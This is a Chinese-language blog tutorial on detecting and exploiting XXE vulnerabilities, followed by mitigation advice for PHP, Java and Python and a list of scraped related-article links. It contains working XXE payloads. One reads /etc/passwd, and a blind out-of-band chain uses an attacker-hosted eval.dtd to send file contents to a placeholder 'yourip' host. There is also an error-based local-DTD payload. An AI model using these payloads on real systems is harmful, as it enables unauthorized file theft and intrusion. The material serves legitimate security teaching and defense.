xxe漏洞检测及代码执行过程
这两天看了xxe漏洞,写一下自己的理解,xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等.首先存在漏洞的web服务一定是存在xml传输数据的,可以在http头的content-type中查看,也可以根据url一些常见的关键字进行判断测试,例如wsdl(web服务描述语言).或者一些常见的采用xml的java服务配置文件(spring,struts2).不过现实中存在的大多数xxe漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机.
首先要明白xxe漏洞是如何读取文件的
<!ENTITY name SYSTEM "file:///etc/passwd">
<root>&name;</root>
此时服务器会在root节点返回 /etc/passwd的内容,整个代码运行流程是name实体加载本地文件并且文件返回值被赋给name.如果没有回显则可以利用带外通信进行测试.
首先观察这个http包,在发送方的http包头中可以通过conetent-type观察到服务端以xml的形式接收文件,符合xxe漏洞的条件,然后服务器会正常返回客户端在body中post过去的xml代码执行结果。此时就可以构造恶意的xml代码,可以看见服务器仍是正常返回,说明在服务器端并没有进行过滤,因此可以初步确定此应用存在xxe漏洞(非Blind的xxe)
以php服务端的处理为例,若$xml即为body中的$xml数据,php直接进行解析,那么将触发xxe漏洞
针对blind的xxe,可以构造如下xml恶意代码:
<?xml version="1.0" ?>
<!DOCTYPE any[
<!ENTITY % file SYSTEM "file://etc/passwd">
<!ENTITY % remote SYSTEM "http://yourip/eval.dtd">
%remote;
%send;
]>
<foo></foo>
这个是用于直接在http body中提交的恶意xml代码,它会去调用位于我们的主机上的外部dtd文件(不在同一个文件写入要读取的文件主要是为了避免参数实体引用时发生的错误)
以下是eval.dtd的内容:
<!ENTITY % ppp "<!ENTITY % send SYSTEM 'http://yourip/?p=%file;'>">
%ppp;
整个执行流程如下:首先加载参数实体remote,此时会远程加载攻击者主机上的外部实体,首先加载name实体的值,即为我们要读取的文件的内容,然后加载ppp参数实体,在ppp实体中又内嵌了send实体,所以 接下来加载send实体,此时就是关键点,即将name实体的值(/etc/passwd)发送到我们的服务器上(通过get查询方式会在攻击者的服务器日志中留下记录)
以上便是xxe漏洞的基本流程:
1.如果发现数据直接传送方式为xml,那么直接注入payload进行测试
2.如果http header里Content-Type为application/json并使用Json进行数据交互的Web站点,可以修改其Content-Type为application/xml,并尝试进行XXE注入
手工检测方法:
1.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any [
<!ENTITY shit "this is a test">
]>
<root>
&shit;
</root>
2.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE methodCall [
<!ENTITY pocdata SYSTEM "file:///etc/passwd">
]>
<methodCall>
<methodName>retrieved: &pocdata;</methodName>
</methodCall>
如果在返回了this is a test,说明服务端解析了客户端发送的shit实体的内容并返回到了root节点,则继续测试是否可以加载外部实体
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM “http://youhost/eval.xml”>
%shit;
]>
通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。
如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。
如果不能回显,毫无疑问,使用Blind XXE攻击方法。
如果不能回显,并且目标服务器有防火墙,则可以利用本地的dtd来读取数据
参考链接:https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation
这里有几种可以测试的payload,根据使用内部不同的dtd要使用不同的payload,根据内部实体中已经声明的变量我们可以去覆盖它,来调用外部实体
这个工具还提供自动寻找jar包中可以用的dtd,以及来生成payload
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"> //内部实体必须是目标机器上已经存在的,可以用常见dtd进行fuzz <!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///FILE_TO_READ"> //要读取的文件
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'> %local_dtd;
]>
<message></message>
网上已经有可以自动检测XXE漏洞的开源工具:xxeinjector
git clone https://github.com/enjoiz/XXEinjector.git
补救措施:
xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都被设置为false,从而避免基于XXE漏洞的攻击。
1.禁用xml外部实体
PHP:
libxml_disable_entity_loader(true); JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false); Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.过滤xml外部实体的关键字:
过滤<!DOCTYPE>, <!ENTITY>, SYSTEM 等
参考:
https://www.waitalone.cn/xxe-attack.html
xxe漏洞检测及代码执行过程的更多相关文章
- Git漏洞允许任意代码执行(CVE-2018-17456)复现
Git漏洞允许任意代码执行(CVE-2018-17456) 国外安全研究员 joernchen 在 9 月 23 日向 git 官方报告了漏洞的相关细节.10月5日,Git项目披露了一个漏洞,编号为C ...
- JS-预解析(提升)与代码执行过程
1,预解析的过程. 2,代码的执行过程. 预解析:程序在执行过程,会先将代码读取到内存中检查,会将所有的声明在此处进行标记,所谓的标记就是让js解析器知道这个名字,后面在使用这个名字的时候,不会出现未 ...
- Java代码执行过程概述
Java代码经历三个阶段:源代码阶段(Source) -> 类加载阶段(ClassLoader) -> 运行时阶段(Runtime) 首先我们来理清一下Java代码整个执行过程, 让我们对 ...
- 360众测考试 Drupal 漏洞 CVE-2018-7600 远程代码执行-复现
0x00 前言 昨天360众测遇到的一个题 今天自己搭环境复现一下,希望对大家有帮助 0x01 漏洞简介 Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业 ...
- js代码执行过程
一:first-blood:任何程序执行的第一步总是会先检查有没有语法错误,如果有,则直接抛出语法错误,直接跳出, 二:second-blood:预编译,预编译呢会有四个执行过程,1:创建执行期上下文 ...
- 利用dll加载漏洞实现远程代码执行
微软的“不安全dll加载”漏洞涉及Windows XP至Windows 7等多个版本的操作系统.由于Windows存在加载未指明完整路径的dll文件的机制,可能导致用户在使用第三方软件.玩游戏.听音乐 ...
- Javascript代码执行过程-《悟透Javascript》笔记
本文摘录自李战老师<悟透Javascript>一书的部分章节,为适应博客发表作了一点点修改. 1) 预编译分析. JavaScript执行引擎将所有定义式函数直接创建为作用域上的函数变量, ...
- STM32与ARM代码执行过程
内存分配 1.ARM(JZ2440) 启动方式: 1)nor启动 注:1.bootloader烧在norflash的0地址 2.将bootloader从norflash中复制到SDRAM中的链接地址( ...
- 权限管理整合springsecurity代码执行过程
(1)输入用户名密码. (2)进入认证过滤器中,执行attemptAuthentication方法, 通过该方法获取输入的用户名和密码. (3)执行实现了UserDetailsService接口的类中 ...
随机推荐
- 什么是Docker??
Docker是一个轻量级虚拟机,也是一种Linux容器,它突破了以往的沙盒技术,解放了应用部署,让PaaS的应用场景更为广泛. docker是通过内核虚拟化技术((namespaces及cgr ...
- AWS 认证攻略(SA)
很高兴经过一个多月的努力顺利pass了自己的SA认证,同事说证都是虚的,不过考个证也算是对自己实力的认可吧,博主第一次写博文,先简单的写一些认证的攻略吧 1.博主11月正式入职云服务提供商,领导要求每 ...
- Vue2.0+Node.js+MongoDB全栈打造商城系统 免费下载
<ignore_js_op> 课程目录||--第01章 课程介绍| 01-01 课程-导学.mp4| 01-02 前端框架回顾.mp4| 01-03 vue概况以及核心思 ...
- 使用git指令下载github仓库代码(笔记)
通过Git指令下载源码 Git概念说明 三种状态:修改状态.暂存状态和Git仓库 基本的Git工作流程: 在工作目录中修改文件 暂存文件,将文件的快照放入暂存区域 提交更新,找到暂 ...
- java 常用正则表达式总结
邮政编码: ^[1-9]\d{5}$ QQ号码: ^[1-9]\d{4,10}$ 或者:[1-9][0-9]{4,11} 邮箱: ^[a-zA-Z_]{1,}[0-9]{0,}@(([a-zA-z0- ...
- MongoDb进阶实践之二 如何在Windows上配置MongoDB
一.引言 上一篇文章,我介绍了如何在Linux系统上安装和配置MongoDB,其实都不是很难,不需要安装和编译,省去了Make && Make Install 命 ...
- 怎样把Linux的私钥文件id_rsa转换成putty的ppk格式
在Linux VPS下产生的私钥文件putty是不认识的,putty只认识自己的ppk格式,要在这两种格式之间转换,需要PuTTYgen这个程序. puttygen是putty的配套程序,putty的 ...
- MSIL实用指南-生成构造函数
本篇讲解生成构造函数的一些知识,包括创建实例构造函数.静态构造函数.调用父类构造函数. 生成构造函数的方法生成构造函数的方法是TypeBuilder.DefineConstructor(MethodA ...
- 定位bug的姿势对吗?
举个例子来说明 WEB页面上数据显示错误,本来应该显示38, 结果显示35,这个时候你怎么去定位这个问题出在哪里? 1.通过fiddler抓包工具(或者其他抓包工具), 分析接口返回的数据是35还是 ...
- Django—templates系统:模版语言
常用语法 只需要记两种特殊符号: {{ }}和 {% %} 变量相关的用{{}},逻辑相关的用{%%}. 变量 {{ 变量名 }} 变量名由字母数字和下划线组成. 点(.)在模板语言中有特殊的含义, ...